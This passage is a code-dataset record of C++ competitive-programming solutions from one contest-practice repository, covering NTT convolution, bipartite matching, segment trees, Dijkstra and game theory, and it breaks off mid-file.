"/Caribbean-Training-Camp-2018/Contest_4/Solutions/I4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef double LD;\n\nconst int M = 1053818881;\n\ninline void add(int & a, int b) {\n\ta += b;\n\tif (a >= M) {\n\t\ta -= M;\n\t}\n}\n\ninline int mul(int a, int b) {\n\treturn (long long)a * b % M;\n}\n\ninline int power(int x, int n) {\n\tint y = 1;\n\twhile (n) {\n\t\tif (n & 1) {\n\t\t\ty = mul(y, x);\n\t\t}\n\t\tx = mul(x, x);\n\t\tn >>= 1;\n\t}\n\treturn y;\n}\n\nint root[50];\nint invRoot[50];\n\nbool ready = false;\n\nvoid calcRoot() {\n\tint a = 2;\n\twhile (power(a, (M - 1) / 2) != M - 1) {\n\t\ta++;\n\t}\n\tint l = 1;\n\tint e = 0;\n\twhile ((M - 1) % l == 0) {\n\t\troot[e] = power(a, (M - 1) / l);\n\t\tinvRoot[e] = power(root[e], M - 2);\n\t\tl <<= 1;\n\t\te++;\n\t}\n\tready = true;\n}\n\nvoid fft(vector <int> & P, bool invert) {\n\tassert(ready);\n\tint n = P.size();\n\tint ln = 0;\n\twhile ((1 << ln) < n) {\n\t\tln++;\n\t}\n\tassert((1 << ln) == n);\n\tfor (int i = 0; i < n; i++) {\n\t\tint x = i;\n\t\tint y = 0;\n\t\tfor (int j = 0; j < ln; j++) {\n\t\t\ty = (y << 1) | (x & 1);\n\t\t\tx >>= 1;\n\t\t}\n\t\tif (y < i) {\n\t\t\tswap(P[y], P[i]);\n\t\t}\n\t}\n\tfor (int e = 1; (1 << e) <= n; e++) {\n\t\tint len = (1 << e);\n\t\tint half = len >> 1;\n\t\tint step = root[e];\n\t\tif (invert) {\n\t\t\tstep = invRoot[e];\n\t\t}\n\t\tfor (int i = 0; i < n; i += len) {\n\t\t\tint w = 1;\n\t\t\tfor (int j = 0; j < half; j++) {\n\t\t\t\tint u = P[i + j];\n\t\t\t\tint v = mul(P[i + j + half], w);\n\t\t\t\tP[i + j] = u;\n\t\t\t\tadd(P[i + j], v);\n\t\t\t\tP[i + j + half] = u;\n\t\t\t\tadd(P[i + j + half], M - v);\n\t\t\t\tw = mul(w, step);\n\t\t\t}\n\t\t}\n\t}\n\tif (invert) {\n\t\tint in = power(n, M - 2);\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tP[i] = mul(P[i], in);\n\t\t}\n\t}\n}\n\n\nvoid fft(vector <vector <int> > & P, bool invert) {\n\tint n = P.size();\n\tint m = P[0].size();\n\tfor (int r = 0; r < n; r++) {\n\t\tfft(P[r], invert);\n\t}\n\tfor (int c = 0; c < m; c++) {\n\t\tvector <int> Q(n);\n\t\tfor (int r = 0; r < n; r++) {\n\t\t\tQ[r] = P[r][c];\n\t\t}\n\t\tfft(Q, invert);\n\t\tfor (int r = 0; r < n; r++) {\n\t\t\tP[r][c] = Q[r];\n\t\t}\n\t}\n}\n\ninline int fix(int n) {\n\tint x = 1;\n\twhile (x < n) {\n\t\tx <<= 1;\n\t}\n\tx <<= 1;\n\treturn x;\n}\n\nvoid solve() {\n\tint n, m;\n\tcin >> n >> m;\n\n\tvector <string> s(n);\n\tfor (auto & x : s) {\n\t\tcin >> x;\n\t}\n\n\tint ln = fix(n);\n\tint lm = fix(m);\n\n\tvector <vector <int> > P(ln, vector <int> (lm));\n\tvector <vector <int> > Q(ln, vector <int> (lm));\n\n\tint t = 0;\n\n\tfor (int i = 0; i < n; i++) {\n\t\tfor (int j = 0; j < m; j++) {\n\t\t\tif (s[i][j] == '1') {\n\t\t\t\tt++;\n\t\t\t\tP[i][j] = 1;\n\t\t\t\tQ[n - 1 - i][m - 1 - j] = 1;\n\t\t\t}\n\t\t}\n\t}\n\n\tassert(t >= 3);\n\n\tcalcRoot();\n\t\n\tfft(P, false);\n\tfft(Q, false);\n\tfor (int i = 0; i < ln; i++) {\n\t\tfor (int j = 0; j < lm; j++) {\n\t\t\tP[i][j] = mul(P[i][j], Q[i][j]);\n\t\t}\n\t}\n\tfft(P, true);\n\n\tLD e = 0;\n\n\tfor (int x = 0; x < 2 * n - 1 ; x++) {\n\t\tfor (int y = 0; y < 2 * m - 1; y++) {\n\t\t\tint xx = x - (n - 1);\n\t\t\tint yy = y - (m - 1);\n\t\t\t\n\t\t\tif (xx < 0 || (xx == 0 && yy < 0)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (xx == 0 && yy == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tint cnt = P[x][y]; \n\t\t\tLD len = sqrt((LD)(xx * xx + yy * yy));\n\t\t\t\t\n//\t\t\tif (cnt > 0) {\n//\t\t\tcerr << xx << \" \" << yy << \" \" << cnt << \" \" << len << \"\\n\";\n//\t\t\t}\n\t\t\te += len * (LD)P[x][y];\n\t\t}\n\t}\n\n\n\te *= (LD)6.0;\n\te /= (LD)((long long)t * (t - 1LL));\n\n\tcout << fixed << e << \"\\n\";\n\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(17);\n\n\tsolve();\n}\n" }, { "alpha_fraction": 0.421875, "alphanum_fraction": 0.453125, "avg_line_length": 14.515151977539062, "blob_id": "d0b14e243590a25ddc83bf2ab31d9d3558cb6fec", "content_id": "6303ed340f88b550a9dc25b0c974e6d2606ea80f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 512, "license_type": "no_license", "max_line_length": 63, "num_lines": 33, "path": "/POJ/1704.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <algorithm>\n\nusing namespace std;\n\nconst int N = 1000 + 5;\n\nint t;\nint n;\nint p[N];\nint d[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tcin >> p[i];\n\t\t}\n\t\tsort(p + 1, p + n + 1);\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\td[i] = p[i] - p[i - 1] - 1;\n\t\t}\n\t\tint xorSum = 0;\n\t\tfor (int i = n; i >= 1; i -= 2) {\n\t\t\txorSum ^= d[i];\n\t\t}\n\t\tcout << ((xorSum != 0) ? \"Georgia\" : \"Bob\") << \" will win\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.4425086975097656, "alphanum_fraction": 0.47386759519577026, "avg_line_length": 14.882352828979492, "blob_id": "3972a9f0fb77f0f71fcff014cd7b1dac263286f3", "content_id": "a12afe069ca57402c7dd8a29d13567cd19595520", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 574, "license_type": "no_license", "max_line_length": 39, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3521-Accepted-s909045.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst long long MOD = 1000000007;\r\n\r\nint t;\r\nlong long n;\r\n\r\nlong long power(long long x, int n) {\r\n\tlong long res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = (res * x) % MOD;\r\n\t\t}\r\n\t\tx = (x * x) % MOD;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tconst long long x = power(3, MOD - 2);\r\n\twhile (cin >> n) {\r\n n--;\r\n\t\tlong long ans = n;\r\n\t\tans = (ans * (n + 1LL)) % MOD;\r\n\t\tans = (ans * (n + 2LL)) % MOD;\r\n\t\tans = (ans * x) % MOD;\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35368043184280396, "alphanum_fraction": 0.3662477433681488, "avg_line_length": 14.62686538696289, "blob_id": "4c18fad2a0d423b273d8555bc74dd7537cd90d32", "content_id": "a5d07133bfb6f338398a1e4c29803b8e5b15271d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1114, "license_type": "no_license", "max_line_length": 41, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p4038-Accepted-s1294961.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint t;\r\n\tcin >> t;\r\n\r\n\twhile (t--) {\r\n\t\tint n, g, p;\r\n\t\tcin >> n >> g >> p;\r\n\r\n\t\tvector <int> d(g), r(g);\r\n\t\tfor (int i = 0; i < g; i++) {\r\n\t\t\tcin >> d[i] >> r[i];\r\n\t\t}\r\n\r\n\t\tvector <int> v(g);\r\n\r\n\t\tauto check = [&](long long x) {\r\n\t\t\tfor (int i = 0; i < g; i++) {\r\n\t\t\t\tif (d[i] <= x) {\r\n\t\t\t\t\tv[i] = (long long)(x - d[i]) / r[i];\r\n\t\t\t\t} else {\r\n\t\t\t\t\tv[i] = 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tsort(v.begin(), v.end());\r\n\t\t\tlong long s = 0;\r\n\t\t\tfor (int i = 0; i < p; i++) {\r\n\t\t\t\ts += v[g - 1 - i];\r\n\t\t\t}\r\n\t\t\t/*\r\n\t\t\tcerr << \"check: \" << x << \"\\n\";\r\n\t\t\tfor (int i = 0; i < g; i++) {\r\n\t\t\t\tcerr << v[i] << \" \";\r\n\t\t\t}\r\n\t\t\tcerr << \"\\n\";\r\n\t\t\tcerr << s << \" \" << n << \"\\n\";\r\n\t\t\t*/\r\n\t\t\treturn (s >= n);\r\n\t\t};\r\n\r\n\t\tlong long lo = 1;\r\n\t\tlong long hi = 1;\r\n\t\twhile (!check(hi)) {\r\n\t\t\thi *= 2LL;\r\n\t\t}\r\n\r\n\t\tlong long answer = hi;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tlong long mid = (lo + hi) / 2LL;\r\n\t\t\tif (check(mid)) {\r\n\t\t\t\tanswer = mid;\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t} else {\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tcout << answer << \"\\n\";\r\n\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36814120411872864, "alphanum_fraction": 0.3857932686805725, "avg_line_length": 16.95967674255371, "blob_id": "062ce30cb2522fd252701b402a6252a1ff2239a6", "content_id": "db3fdca0369c4a7501f0c950be1b6321bac6196e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4702, "license_type": "no_license", "max_line_length": 111, "num_lines": 248, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/I4-1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1010;\r\nconst int MAXM = 100100;\r\n\r\nint n1, n2, m;\r\n\r\nstruct arc{\r\n int u, v;\r\n arc(){}\r\n arc( int u, int v ) : u(u), v(v){}\r\n}E[MAXM];\r\n\r\ninline int ady( int e, int u ){\r\n if( E[e].u == u ){\r\n return E[e].v;\r\n }\r\n\r\n return E[e].u;\r\n}\r\n\r\nvector<int> g[MAXN];\r\n\r\nbool mk[MAXN];\r\nint from[MAXN];\r\nint go[MAXN];\r\n\r\nint matching_SZ;\r\n\r\nbool kuhn( int u ){\r\n if( mk[u] ){\r\n return false;\r\n }\r\n\r\n mk[u] = true;\r\n for( int e : g[u] ){\r\n int v = ady(e,u);\r\n if( !from[v] || kuhn( from[v] ) ){\r\n from[v] = u;\r\n go[u] = v;\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n}\r\n\r\ninline bool node_in_matching( int u ){\r\n if( u <= n1 ){\r\n return go[u] > 0;\r\n }\r\n\r\n return from[u] > 0;\r\n}\r\n\r\ninline bool arc_in_matching( int e ){\r\n return go[ E[e].u] == E[e].v;\r\n}\r\n\r\ninline bool low_nod(int u){\r\n return !node_in_matching(u);\r\n}\r\n\r\ninline bool low_arc( int e ){\r\n return !node_in_matching(E[e].u) || !node_in_matching(E[e].v);\r\n}\r\n\r\nint ord[MAXN], _t;\r\nint SCC[MAXN], _scc;\r\n\r\ninline bool can_move_scc_dfs1( int e, int u ){\r\n if( low_arc(e) ){\r\n return false;\r\n }\r\n\r\n if( arc_in_matching(e) ){\r\n return E[e].u == u;\r\n }\r\n\r\n return E[e].v == u;\r\n}\r\n\r\ninline bool can_move_scc_dfs2( int e, int u ){\r\n if( low_arc(e) ){\r\n return false;\r\n }\r\n\r\n return !can_move_scc_dfs1(e,u);\r\n}\r\n\r\nvoid scc_dfs1( int u ){\r\n mk[u] = true;\r\n for( int e : g[u] ){\r\n int v = ady(e,u);\r\n if( can_move_scc_dfs1(e,u) && !mk[v] ){\r\n scc_dfs1(v);\r\n }\r\n }\r\n\r\n ord[--_t] = u;\r\n}\r\n\r\nvoid scc_dfs2( int u ){\r\n mk[u] = true;\r\n SCC[u] = _scc;\r\n for( int e : g[u] ){\r\n int v = ady(e,u);\r\n if( can_move_scc_dfs2(e,u) && !mk[v] ){\r\n scc_dfs2(v);\r\n }\r\n }\r\n}\r\n\r\nvoid find_scc(){\r\n _scc = 0;\r\n _t = matching_SZ*2 + 1;\r\n fill( mk , mk + 1 + n1 + n2 , false );\r\n for( int u = 1; u <= n1 + n2; u++ ){\r\n if( !mk[u] && node_in_matching(u) ){\r\n scc_dfs1(u);\r\n }\r\n }\r\n\r\n fill( mk , mk + 1 + n1 + n2 , false );\r\n for( int i = 1; i <= matching_SZ*2; i++ ){\r\n int u = ord[i];\r\n if( !mk[u] ){\r\n _scc++;\r\n scc_dfs2(u);\r\n }\r\n }\r\n}\r\n\r\nbool mkE[MAXM];\r\n\r\ninline bool can_move_dfs1( int e, int u ){\r\n if( arc_in_matching(e) ){\r\n return E[e].u == u;\r\n }\r\n\r\n return E[e].v == u;\r\n}\r\n\r\nvoid dfs1( int u ){\r\n mk[u] = true;\r\n for( int e : g[u] ){\r\n int v = ady(e,u);\r\n if( !can_move_dfs1(e,u) ){\r\n continue;\r\n }\r\n mkE[e] = true;\r\n if( !mk[v] ){\r\n dfs1(v);\r\n }\r\n }\r\n}\r\n\r\nvoid dfs2( int u ){\r\n mk[u] = true;\r\n for( int e : g[u] ){\r\n int v = ady(e,u);\r\n if( can_move_dfs1(e,u) ){\r\n continue;\r\n }\r\n mkE[e] = true;\r\n if( !mk[v] ){\r\n dfs2(v);\r\n }\r\n }\r\n}\r\n\r\ninline bool in_sol( int e ){\r\n return arc_in_matching(e) || low_arc(e) || mkE[e] || (SCC[ E[e].u ] > 0 && SCC[ E[e].u ] == SCC[ E[e].v ]);\r\n}\r\n\r\nvoid print_sol(){\r\n vector<int> sol;\r\n for( int e = 1; e <= m; e++ ){\r\n if( in_sol(e) ){\r\n sol.push_back(e);\r\n }\r\n }\r\n\r\n cout << sol.size() << '\\n';\r\n for( int i = 0; i < sol.size(); i++ ){\r\n cout << sol[i] << \" \\n\"[i+1==sol.size()];\r\n }\r\n}\r\n\r\nvoid print_scc(){\r\n cerr << \"SCC\\n\";\r\n for( int u = 1; u <= n1 + n2; u++ ){\r\n cerr << SCC[u] << \" \\n\"[u==n1+n2];\r\n }\r\n}\r\n\r\nvoid print_matching(){\r\n cerr << \"Matching\\n\";\r\n for( int e = 1; e <= m; e++ ){\r\n if( arc_in_matching(e) ){\r\n cerr << E[e].u << ' ' << E[e].v - n1 << '\\n';\r\n }\r\n }\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n cin >> n1 >> n2 >> m;\r\n\r\n for( int e = 1; e <= m; e++ ){\r\n int u, v; cin >> u >> v; v += n1;\r\n E[e] = arc( u , v );\r\n g[u].push_back(e);\r\n g[v].push_back(e);\r\n }\r\n\r\n matching_SZ = 0;\r\n for( int u = 1; u <= n1; u++ ){\r\n fill( mk , mk + 1 + n1 , false );\r\n if( kuhn(u) ){\r\n matching_SZ++;\r\n }\r\n }\r\n\r\n find_scc();\r\n\r\n fill( mk , mk + 1 + n1 + n2 , false );\r\n for( int u = n1+1; u <= n1+n2; u++ ){\r\n if( !node_in_matching(u) && !mk[u] ){\r\n dfs1(u);\r\n }\r\n }\r\n\r\n fill( mk , mk + 1 + n1 + n2 , false );\r\n for( int u = 1; u <= n1; u++ ){\r\n if( !node_in_matching(u) && !mk[u] ){\r\n dfs2(u);\r\n }\r\n }\r\n\r\n print_sol();\r\n}\r\n" }, { "alpha_fraction": 0.3884785771369934, "alphanum_fraction": 0.4239290952682495, "avg_line_length": 22.178571701049805, "blob_id": "a204c2c039f83c75ffe32454782ae4336c517aa0", "content_id": "3d0def6942a721ec0a885b750695025b777ac138", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 677, "license_type": "no_license", "max_line_length": 50, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p1605-Accepted-s631671.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nint n;\r\nvector<int> GC[15];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tGC[1].push_back(0);\r\n\tGC[1].push_back(1);\r\n\tfor (int i = 2; i <= 13; i++) {\r\n\t\tfor (int j = 0; j < GC[i - 1].size(); j++)\r\n\t\t\tGC[i].push_back(GC[i - 1][j]);\r\n\t\tfor (int j = GC[i - 1].size() - 1; j >= 0; j--)\r\n\t\t\tGC[i].push_back((1 << (i - 1)) | GC[i - 1][j]);\r\n\t}\r\n\twhile (cin >> n && n) {\r\n\t\tstring r = \"\";\r\n\t\tfor (int i = GC[n].size() - 1; i >= 0; i--)\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tif (GC[n][i] & (1 << j)) r += '1';\r\n\t\t\t\telse r += '0';\r\n\t\t\t}\r\n\t\treverse(r.begin(), r.end());\r\n\t\tcout << r << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3839479386806488, "alphanum_fraction": 0.41648590564727783, "avg_line_length": 15.730769157409668, "blob_id": "9c9bbc988d952dba55dadbfad94bfc5878715d94", "content_id": "4010ac1351e621da21dc898b77391f7c954e35d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 461, "license_type": "no_license", "max_line_length": 45, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p3643-Accepted-s1009543.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100000;\r\n\r\nint dp[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tdp[i] = i;\r\n\t}\r\n\tfor (int i = 2; i * (i + 1) / 2 <= N; i++) {\r\n\t\tint x = i * (i + 1) / 2;\r\n\t\tfor (int j = x; j <= N; j++) {\r\n\t\t\tdp[j] = min(dp[j], dp[j - x] + 1);\r\n\t\t}\r\n\t}\r\n\tint n;\r\n\twhile (cin >> n) {\r\n\t\tcout << dp[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3871161937713623, "alphanum_fraction": 0.41541239619255066, "avg_line_length": 20.02531623840332, "blob_id": "31e73e2c8055e2bd601624ea8541968a85b4a102", "content_id": "2586268c5355432ad335d14c8f35aa97899bcc77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1661, "license_type": "no_license", "max_line_length": 87, "num_lines": 79, "path": "/Codeforces-Gym/101572 - 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)\n// 101572E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\nconst int MAXN = 600;\n\nint movI[] = { 1 , -1 , 0 , 0 , 1 , -1 , 1 , -1 };\nint movJ[] = { 0 , 0 , 1 , -1 , 1 , -1 , -1 , 1 };\n\nint n, m;\n\nbool mk[MAXN][MAXN];\nint mn[MAXN][MAXN];\nint mapa[MAXN][MAXN];\n\nbool can_move( int i, int j ){\n return ( i >= 1 && j >= 1 && i <= n && j <= m && !mk[i][j] && mapa[i][j] < 0 );\n}\n\nll sol = 0;\n\ntypedef pair<int,int> par;\ntypedef pair<int,par> tup;\n\nvoid dijkstra( int i, int j, int lat ){\n priority_queue<tup> pq;\n mn[i][j] = mapa[i][j];\n pq.push( tup( -lat , par( i , j ) ) );\n\n while( !pq.empty() ){\n tup x = pq.top(); pq.pop();\n int i = x.second.first;\n int j = x.second.second;\n\n if( mk[i][j] ){\n continue;\n }\n\n //cerr << \"i = \" << i << \" j = \" << j << \" mn[i][j] = \" << mn[i][j] << '\\n';\n\n sol += mn[i][j];\n\n mk[i][j] = true;\n\n for( int k = 0; k < 8; k++ ){\n int ii = i + movI[k];\n int jj = j + movJ[k];\n\n if( can_move( ii , jj ) ){\n mn[ii][jj] = min( mn[ii][jj] , max( mn[i][j] , mapa[ii][jj] ) );\n pq.push( tup( -mn[ii][jj] , par( ii , jj ) ) );\n }\n }\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n >> m;\n\n for( int i = 1; i <= n; i++ ){\n for( int j = 1; j <= m; j++ ){\n cin >> mapa[i][j];\n }\n }\n\n int i, j; cin >> i >> j;\n dijkstra( i , j , mapa[i][j] );\n\n cout << -sol << '\\n';\n}\n" }, { "alpha_fraction": 0.409015029668808, "alphanum_fraction": 0.4365609288215637, "avg_line_length": 18.96666717529297, "blob_id": "ae01ee9572a2e582ccd1ed6be8da9876c9f3b1b9", "content_id": "813c2242f807692507454203a9fcc62e04c1426c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1198, "license_type": "no_license", "max_line_length": 58, "num_lines": 60, "path": "/Codeforces-Gym/100109 - 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100109E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\ntypedef pair<int,int> par;\ntypedef long long ll;\nconst int maxn = 2*100000 + 10;\nint n;\n\nint g[maxn];\nbool drag[maxn];\npriority_queue< par > q;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n freopen( \"input.txt\", \"r\", stdin );\n freopen( \"output.txt\", \"w\", stdout);\n\n cin >> n;\n string aux;\n for( int i = 2; i <= n; i++ ){\n cin >> aux >> g[i];\n drag[i] = bool( aux[0] == 'd' );\n }\n\n for( int i = 2; i < n; i++ ){\n if( drag[i] ){\n q.push( par( -g[i], i ) );\n }\n else{\n while( q.size() >= g[i] )\n q.pop();\n }\n }\n\n if( q.size() < g[n] ){\n cout << -1 << '\\n';\n return 0;\n }\n\n vector<int> ans;\n ll money = 0;\n while( !q.empty() ){\n int x = q.top().second;\n q.pop();\n money += g[x];\n ans.push_back(x);\n }\n sort( ans.begin(), ans.end() );\n cout << money << '\\n';\n cout << ans.size() << '\\n';\n for( int i = 0; i < (int)ans.size(); i++ ){\n cout << ans[i] << \" \\n\"[ i+1 == ans.size() ];\n }\n\n}\n" }, { "alpha_fraction": 0.48267897963523865, "alphanum_fraction": 0.5034642219543457, "avg_line_length": 16.04166603088379, "blob_id": "38b11212ab6bd2c170b8f0db97f8fd964e5aff14", "content_id": "0e079d3d5e13637aeffdff39fc79f8c071514165", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 433, "license_type": "no_license", "max_line_length": 44, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2752-Accepted-s586455.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1010;\r\n\r\nint n;\r\nshort mark[MAXN];\r\n\r\nint main()\r\n{\r\n\tcin >> n;\r\n\tvector<string> names(n);\r\n\tvector<int> id(n);\r\n\tfor (int i = 0; i < n; i++)\r\n\t{\r\n\t\tcin >> names[i] >> id[i];\r\n\t\tif (id[i] < 0) id[i] *= -1;\r\n\t\tmark[id[i]] ^= 1;\r\n\t}\r\n\tcout << \"FOREVER ALONE ones:\" << endl;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tif (mark[id[i]]) cout << names[i] << endl;\r\n}\r\n" }, { "alpha_fraction": 0.40566572546958923, "alphanum_fraction": 0.44249293208122253, "avg_line_length": 24.74242401123047, "blob_id": "d69f1af7ec8fe94775a810c2ddd97b4446e920c1", "content_id": "94fad4e457ac398eb09352fcccac97fa6522e52f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1765, "license_type": "no_license", "max_line_length": 67, "num_lines": 66, "path": "/COJ/eliogovea-cojAC/eliogovea-p2703-Accepted-s608744.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100010, mod = 1000000007;\r\n\r\nint n, arr[MAXN], sum[MAXN << 2], lazy[MAXN << 2];\r\n\r\nvoid propagate(int idx, int l, int r) {\r\n\tif (lazy[idx]) {\r\n\t\tsum[idx] = (sum[idx] + lazy[idx] * (r - l + 1)) % mod;\r\n\t\tif (l != r) {\r\n\t\t\tlazy[idx << 1] = (lazy[idx << 1] + lazy[idx]) % mod;\r\n\t\t\tlazy[(idx << 1) | 1] = (lazy[(idx << 1) | 1] + lazy[idx]) % mod;\r\n\t\t}\r\n\t\tlazy[idx] = 0;\r\n\t}\r\n}\r\n\r\nvoid update(int idx, int l, int r, int ul, int ur, int upd) {\r\n\tif (l > r) return;\r\n\tpropagate(idx, l, r);\r\n\tif (l > ur || r < ul) return;\r\n\tif (l >= ul && r <= ur) {\r\n\t\tsum[idx] = (sum[idx] + upd * (r - l + 1) % mod) % mod;\r\n\t\tif (l != r) {\r\n\t\t\tlazy[idx << 1] = (lazy[idx << 1] + upd) % mod;\r\n\t\t\tlazy[(idx << 1) | 1] = (lazy[(idx << 1) | 1] + upd) % mod;\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tupdate(idx << 1, l, mid, ul, ur, upd);\r\n\t\tupdate((idx << 1) | 1, mid + 1, r, ul, ur, upd);\r\n\t\tsum[idx] = (sum[idx << 1] + sum[(idx << 1) | 1]) % mod;\r\n\t}\r\n}\r\n\r\nint query(int idx, int l, int r, int ql, int qr) {\r\n\tpropagate(idx, l, r);\r\n\tif (l > qr || r < ql) return 0;\r\n\tif (l >= ql && r <= qr) return sum[idx];\r\n\telse {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\treturn (query(idx << 1, l, mid, ql, qr) +\r\n\t\t\t\tquery((idx << 1) | 1, mid + 1, r, ql, qr)) % mod;\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tupdate(1, 1, n, n, n, 1);\r\n\tfor (int i = 2; i <= n; i++) {\r\n\t\tscanf(\"%d\", arr + i);\r\n\t\tarr[i] = max(i - arr[i], 1);\r\n\t}\r\n\tfor (int i = n; i > 1; i--) {\r\n\t\tint aux = query(1, 1, n, i, i);\r\n\t\t//printf(\"%d\\n\", aux);\r\n\t\tupdate(1, 1, n, arr[i], i - 1, aux);\r\n\t\t/*for (int i = 1; i <= n; i++)\r\n printf(\"%d \", query(1, 1, n, i, i));\r\n printf(\"\\n\");*/\r\n\t}\r\n\tprintf(\"%d\\n\", query(1, 1, n, 1, 1));\r\n}\r\n" }, { "alpha_fraction": 0.3682846426963806, "alphanum_fraction": 0.39208292961120605, "avg_line_length": 21.158729553222656, "blob_id": "0d51fd1d3e9d1eb044e4ff053c48820fa272edf9", "content_id": "265cc65481b25677d7819c3182057d1befb31b69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4244, "license_type": "no_license", "max_line_length": 104, "num_lines": 189, "path": "/Caribbean-Training-Camp-2017/Contest_2/Solutions/F2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int oo = 1000000007;\n\ntypedef pair<int,int> par;\n\nstruct ev{\n int l, r;\n int id;\n\n ev(){}\n ev( int l, int r, int id ){\n this->l = l;\n this->r = r;\n this->id = id;\n }\n\n bool operator < ( const ev &o ) const {\n return l < o.l;\n }\n};\n\nstruct st{\n int n;\n vector<int> mn;\n\n st(){}\n\n st( int n ){\n this->n = n;\n mn.assign(4*n+4,oo);\n }\n\n void build_st( int nod, int l, int r, vector<par> &vs ){\n if( l == r ){\n this->mn[nod] = vs[l].second;\n return;\n }\n\n int ls = nod * 2 , rs = ls + 1;\n int mid = ( l + r ) / 